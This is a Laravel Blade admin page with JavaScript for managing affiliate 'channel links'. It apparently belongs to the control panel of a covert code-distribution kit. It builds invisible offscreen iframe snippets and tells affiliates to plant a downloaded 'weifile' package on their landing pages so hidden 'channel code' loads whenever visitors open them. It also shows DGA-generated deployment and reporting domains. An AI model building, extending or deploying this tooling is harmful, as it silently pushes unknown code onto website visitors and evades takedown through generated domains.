@extends('admin.content')

@section('title', '渠道链接')

@section('content')
@php $portal = $portal ?? 'admin'; @endphp
<div class="layui-card">
  <form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ch-search">
    <div class="layui-form-item">
      <div class="layui-inline">
        <label class="layui-form-label">渠道 ID</label>
        <div class="layui-input-block">
          <input type="text" name="channel_id" class="layui-input" autocomplete="off">
        </div>
      </div>
      @if ($portal === 'admin')
      <div class="layui-inline">
        <label class="layui-form-label">代理</label>
        <div class="layui-input-block">
          <select name="agent_user_id">
            <option value="">全部</option>
            <option value="0">官方</option>
            @foreach ($agents as $a)
              <option value="{{ $a->id }}">{{ $a->username }}</option>
            @endforeach
          </select>
        </div>
      </div>
      @endif
      <div class="layui-inline">
        <label class="layui-form-label">状态</label>
        <div class="layui-input-block">
          <select name="status">
            <option value="">全部</option>
            <option value="1">启用</option>
            <option value="0">禁用</option>
          </select>
        </div>
      </div>
      <div class="layui-inline">
        <button class="layui-btn" lay-submit lay-filter="LAY-ch-search">搜索</button>
        @if ($portal === 'admin')
        <button type="button" class="layui-btn layui-btn-normal" id="LAY-ch-create">新建</button>
        @endif
      </div>
    </div>
  </form>
  <div class="layui-card-body">
    <table id="LAY-ch-list" lay-filter="LAY-ch-list"></table>
    <script type="text/html" id="LAY-ch-ops">
      @{{# if(d.builder_type === 'new'){ }}
      @{{# if(d.download_url){ }}
      <a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="download">下载代码</a>
      @{{# } }}
      @{{# } else { }}
      <a class="layui-btn layui-btn-xs" lay-event="links">查看链接</a>
      @{{# } }}
      <a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="edit">编辑</a>
      @{{# if(d._isAdmin){ }}
      <a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
      @{{# } }}
    </script>
  </div>
</div>
@endsection

@push('scripts')
<script>
layui.use(['table', 'form', 'layer'], function () {
  var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
  var portal = @json($portal);
  var token = @json(csrf_token());
  var agents = @json(($agents ?? collect())->map(fn ($a) => ['id' => $a->id, 'username' => $a->username])->values());
  var isAdmin = portal === 'admin';
  var maxPerAgent = @json($maxPerAgent ?? 5);

  var cols = [
    { field: 'id', title: 'ID', width: 70, sort: true },
    { field: 'channel_id', title: '渠道 ID', minWidth: 220, sort: true },
    { field: 'builder_type', title: '类型', width: 80, templet: function (d) {
      return d.builder_type === 'new' ? '新版' : '旧版';
    }},
  ];
  if (isAdmin) {
    cols.push({ field: 'agent_username', title: '代理', width: 120 });
  }
  cols = cols.concat([
    { field: 'remark', title: '备注', minWidth: 140, templet: function (d) { return d.remark || '—'; } },
    { field: 'status', title: '状态', width: 90, templet: function (d) {
      return d.status == 1
        ? '<span style="color:#16a34a;font-weight:600;">启用</span>'
        : '<span style="color:#dc2626;font-weight:600;">禁用</span>';
    }},
    { field: 'updated_at', title: '更新', width: 170, sort: true },
    { title: '操作', width: isAdmin ? 250 : 190, align: 'center', fixed: 'right', toolbar: '#LAY-ch-ops' }
  ]);

  table.render({
    elem: '#LAY-ch-list',
    id: 'LAY-ch-list',
    url: @json(route($portal.'.channels.data')),
    cols: [cols],
    page: true, limit: 20, limits: [10, 20, 30, 50],
    parseData: function (res) {
      (res.data || []).forEach(function (row) { row._isAdmin = isAdmin; });
      return res;
    },
    request: { pageName: 'page', limitName: 'limit' },
    response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
  });

  form.on('submit(LAY-ch-search)', function (data) {
    table.reload('LAY-ch-list', { where: data.field, page: { curr: 1 } });
    return false;
  });

  function agentOptions(selected) {
    var sel = selected == null ? 0 : selected;
    var html = '<option value="0"' + (String(sel) === '0' ? ' selected' : '') + '>官方</option>';
    agents.forEach(function (a) {
      html += '<option value="' + a.id + '"' + (String(sel) === String(a.id) ? ' selected' : '') + '>' + a.username + '</option>';
    });
    return html;
  }

  function copyText(text) {
    if (navigator.clipboard && navigator.clipboard.writeText) {
      return navigator.clipboard.writeText(text);
    }
    var ta = document.createElement('textarea');
    ta.value = text;
    document.body.appendChild(ta);
    ta.select();
    document.execCommand('copy');
    document.body.removeChild(ta);
    return Promise.resolve();
  }

  function promoIframe(url) {
    return '<iframe src="' + url + '"  style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
  }

  function weifileIframeSnippet() {
    return '<iframe src="/weifile/weifile.html" style="position:fixed;top:0;width:0;height:0;left:-1000px;border:0"></iframe>';
  }

  function openDownloadGuide(row) {
    var url = row && row.download_url;
    if (!url) return layer.msg('安装包不存在');
    var snippet = weifileIframeSnippet();
    var html = '<div style="padding:18px 20px;line-height:1.75;font-size:13px;color:#334155;">' +
      '<p style="margin:0 0 10px;">下载后按下面步骤放到自己的落地页项目中：</p>' +
      '<p style="margin:0 0 8px;"><b>1.</b> 解压 zip，把得到的 <code>weifile/</code> 目录放到落地页网站根目录，保证能访问到 <code>/weifile/weifile.html</code>。</p>' +
      '<p style="margin:0 0 14px;"><b>2.</b> 在自己的 HTML 里（建议放在 <code>&lt;body&gt;</code> 开头）加入一段不可见 iframe：</p>' +
      '<pre style="background:#f8fafc;border:1px solid #e2e8f0;border-radius:6px;padding:10px 12px;overflow:auto;font-size:12px;margin:0 0 14px;white-space:pre-wrap;word-break:break-all;">' +
      snippet.replace(/</g, '&lt;') + '</pre>' +
      '<div style="display:flex;gap:8px;flex-wrap:wrap;align-items:center;">' +
      '<a class="layui-btn layui-btn-normal" href="' + url.replace(/"/g, '&quot;') + '">下载代码</a>' +
      '<button type="button" class="layui-btn layui-btn-primary LAY-ch-copy-iframe">复制 iframe 代码</button>' +
      '</div>' +
      '<p style="margin:12px 0 0;color:#64748b;font-size:12px;">iframe 不可见，不影响落地页展示；用户打开落地页时会加载该渠道代码。</p>' +
      '</div>';
    layer.open({
      type: 1,
      title: '下载代码 — ' + (row.channel_id || ''),
      area: ['640px', '430px'],
      content: html,
      success: function (layero) {
        layero.find('.LAY-ch-copy-iframe').on('click', function () {
          copyText(snippet).then(function () { layer.msg('已复制 iframe 代码'); });
        });
      }
    });
  }

  function openLinks(row) {
    var links = row.links || [];
    if (!links.length) {
      return layer.msg('未生成投放链接（请配置 CORUNA_LAB_CHANNEL_DOMAINS 或系统设置→投放域名）');
    }
    var html = '<div style="padding:16px;">';
    links.forEach(function (u, i) {
      html += '<div style="display:flex;gap:8px;align-items:center;margin-bottom:10px;">' +
        '<input class="layui-input" readonly id="LAY-ch-link-' + i + '" value="' + u.replace(/"/g, '&quot;') + '" style="flex:1;">' +
        '<button type="button" class="layui-btn layui-btn-sm LAY-ch-copy" data-url="' + u.replace(/"/g, '&quot;') + '">复制链接</button>' +
        '<button type="button" class="layui-btn layui-btn-normal layui-btn-sm LAY-ch-promo" data-url="' + u.replace(/"/g, '&quot;') + '">复制推广代码</button>' +
        '</div>';
    });
    html += '</div>';
    layer.open({
      type: 1,
      title: '渠道链接 — ' + row.channel_id,
      area: ['720px', '360px'],
      content: html,
      success: function (layero) {
        layero.find('.LAY-ch-copy').on('click', function () {
          var url = $(this).data('url');
          copyText(url).then(function () { layer.msg('已复制链接'); });
        });
        layero.find('.LAY-ch-promo').on('click', function () {
          var url = $(this).data('url');
          copyText(promoIframe(url)).then(function () { layer.msg('推广代码已复制'); });
        });
      }
    });
  }

  function showCreateResult(res, channelId) {
    var data = res.data || {};
    var links = data.links || [];
    var html = '<div style="padding:16px;line-height:1.6;font-size:13px;">';
    html += '<div style="margin-bottom:10px;"><b>渠道</b> ' + channelId + '</div>';
    if (data.weifile_path || data.support_path) {
      html += '<div style="margin-bottom:10px;"><b>落地页</b> <code>' +
        (data.weifile_path || data.support_path).replace(/</g, '&lt;') + '</code></div>';
    }
    if (data.builder_type === 'new' && data.zip_path) {
      html += '<div style="margin-bottom:10px;"><b>安装包</b> <code>' +
        String(data.zip_path).replace(/</g, '&lt;') + '</code></div>';
      if (data.download_url) {
        html += '<div style="margin-bottom:10px;"><button type="button" class="layui-btn layui-btn-normal layui-btn-sm LAY-ch-dl-guide">下载代码</button></div>';
      }
    }
    if (links.length) {
      html += '<div style="margin-bottom:6px;"><b>投放链接</b></div>';
      links.forEach(function (u) {
        html += '<div style="word-break:break-all;margin-bottom:6px;"><code>' + u.replace(/</g, '&lt;') + '</code></div>';
      });
    }
    if (data.domains && ((data.domains.deployment || []).length || (data.domains.reporting || []).length)) {
      html += '<div style="margin:12px 0 6px;"><b>' +
        (data.seeds_initialized ? '首次 DGA 域名（请去注册/绑源站）' : 'DGA 域名') +
        '</b></div>';
      html += '<div><b>Deployment</b></div><ul style="margin:4px 0 8px 18px;">';
      (data.domains.deployment || []).forEach(function (d) { html += '<li>' + d + '</li>'; });
      html += '</ul><div><b>Reporting</b></div><ul style="margin:4px 0 0 18px;">';
      (data.domains.reporting || []).forEach(function (d) { html += '<li>' + d + '</li>'; });
      html += '</ul>';
    }
    html += '</div>';
    layer.open({
      type: 1,
      title: '创建成功',
      area: ['560px', '420px'],
      content: html,
      success: function (layero) {
        layero.find('.LAY-ch-dl-guide').on('click', function () {
          openDownloadGuide({ channel_id: channelId, download_url: data.download_url });
        });
      }
    });
  }

  function openForm(title, values, creating) {
    values = values || {};
    var agentBlock = isAdmin
      ? '<div class="layui-form-item"><label class="layui-form-label">代理</label><div class="layui-input-block"><select name="user_id">' + agentOptions(values.user_id) + '</select></div></div>'
      : '';
    var channelBlock = creating
      ? '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' +
        '<input name="channel_id" class="layui-input" maxlength="32" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="旧版 32 位 / 新版 8 位">' +
        '<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>'
      : '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block"><input class="layui-input" readonly value="' + (values.channel_id || '') + '"></div></div>';

    var typeBlock = (isAdmin && creating)
      ? '<div class="layui-form-item"><label class="layui-form-label">类型</label><div class="layui-input-block">' +
        '<select name="builder_type" lay-filter="LAY-ch-builder-type">' +
        '<option value="old"' + ((values.builder_type || 'old') === 'old' ? ' selected' : '') + '>旧版</option>' +
        '<option value="new"' + (values.builder_type === 'new' ? ' selected' : '') + '>新版</option>' +
        '</select>' +
        '<div class="layui-form-mid layui-word-aux">旧版=/web/id/support.html；新版=8 位渠道码，打包已构建的 weifile（需先 php artisan xxbb:build）</div></div></div>'
      : '';

    var templateBlock = (isAdmin && creating)
      ? '<div class="layui-form-item" id="LAY-ch-template-item"><label class="layui-form-label">页面模板</label><div class="layui-input-block">' +
        '<select name="support_template">' +
        '<option value="test"' + ((values.support_template || 'test') === 'test' ? ' selected' : '') + '>test（含 HUD 进度页）</option>' +
        '<option value="blank"' + (values.support_template === 'blank' ? ' selected' : '') + '>blank（空白页）</option>' +
        '</select>' +
        '<div class="layui-form-mid layui-word-aux">控制生成的 support.html：test=HUD；blank=空白</div></div></div>'
      : '';

    layer.open({
      type: 1,
      title: title,
      area: ['560px', creating ? (isAdmin ? '580px' : '380px') : '420px'],
      content: '<form class="layui-form" style="padding:16px;" id="LAY-ch-form" lay-filter="LAY-ch-form">' +
        channelBlock + typeBlock + agentBlock + templateBlock +
        '<div class="layui-form-item"><label class="layui-form-label">备注</label><div class="layui-input-block">' +
        '<input name="remark" class="layui-input" value="' + (values.remark || '').replace(/"/g, '&quot;') + '"></div></div>' +
        '<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
        '<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
        '</div></div>' +
        (creating && isAdmin ? '<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">新建将调用对应 builder 生成静态资源。代理最多 ' + maxPerAgent + ' 条。</div></div>' : '') +
        '</form>',
      success: function () {
        form.render();
        function syncTemplateVisibility() {
          var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old';
          var $id = $('#LAY-ch-id-input');
          if (type === 'new') {
            $('#LAY-ch-template-item').hide();
            $id.attr('maxlength', 8).attr('placeholder', '8位，例如 FAFA9988');
            if (($id.val() || '').length !== 8) $id.val('');
          } else {
            $('#LAY-ch-template-item').show();
            $id.attr('maxlength', 32).attr('placeholder', '32位字母数字');
          }
        }
        syncTemplateVisibility();
        form.on('select(LAY-ch-builder-type)', function () { syncTemplateVisibility(); });
        $('#LAY-ch-rand').on('click', function () {
          var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old';
          $.getJSON(@json(route('admin.channels.randomId')), { builder_type: type }, function (res) {
            if (res.code === 0) $('#LAY-ch-form input[name=channel_id]').val(res.data.channel_id);
          });
        });
      },
      btn: ['保存', '取消'],
      yes: function (index) {
        var data = {};
        $('#LAY-ch-form').serializeArray().forEach(function (x) { data[x.name] = x.value; });
        data.status = $('#LAY-ch-form input[name=status_switch]').is(':checked') ? 1 : 0;
        delete data.status_switch;
        if (creating) {
          var load = layer.load(2);
          $.ajax({
            url: @json(route('admin.channels.store')),
            method: 'POST',
            data: Object.assign(data, { _token: token }),
            success: function (res) {
              layer.close(load);
              if (res.code !== 0) return layer.msg(res.msg || '失败');
              layer.close(index);
              table.reload('LAY-ch-list');
              showCreateResult(res, data.channel_id);
            },
            error: function (xhr) {
              layer.close(load);
              var msg = (xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '创建失败';
              if (xhr.responseJSON && xhr.responseJSON.errors) {
                msg = Object.values(xhr.responseJSON.errors).flat().join('; ');
              }
              layer.msg(msg);
            }
          });
        } else {
          $.ajax({
            url: @json(url('/'.$portal.'/channels')) + '/' + values.id,
            method: 'POST',
            data: Object.assign(data, { _method: 'PUT', _token: token }),
            success: function (res) {
              if (res.code !== 0) return layer.msg(res.msg || '失败');
              layer.close(index);
              table.reload('LAY-ch-list');
              layer.msg('已保存');
            },
            error: function (xhr) {
              var msg = (xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '保存失败';
              if (xhr.responseJSON && xhr.responseJSON.errors) {
                msg = Object.values(xhr.responseJSON.errors).flat().join('; ');
              }
              layer.msg(msg);
            }
          });
        }
      }
    });
  }

  if (isAdmin) {
    $('#LAY-ch-create').on('click', function () { openForm('新建渠道链接', { user_id: 0, status: 1 }, true); });
  }

  table.on('tool(LAY-ch-list)', function (obj) {
    if (obj.event === 'edit') openForm('编辑渠道链接', obj.data, false);
    if (obj.event === 'links') openLinks(obj.data);
    if (obj.event === 'download') {
      openDownloadGuide(obj.data);
    }
    if (obj.event === 'del') {
      var pathHint = obj.data.builder_type === 'new'
        ? ('数据库记录与 channel-source-new/' + obj.data.channel_id + '.zip')
        : ('数据库记录与 web/' + obj.data.channel_id + ' 资源');
      layer.confirm('删除后将移除 ' + pathHint + '，确认？', function (idx) {
        $.ajax({
          url: @json(url('/admin/channels')) + '/' + obj.data.id,
          method: 'POST',
          data: { _method: 'DELETE', _token: token },
          success: function (res) {
            if (res.code !== 0) return layer.msg(res.msg || '失败');
            layer.close(idx);
            table.reload('LAY-ch-list');
          }
        });
      });
    }
  });
});
</script>
@endpush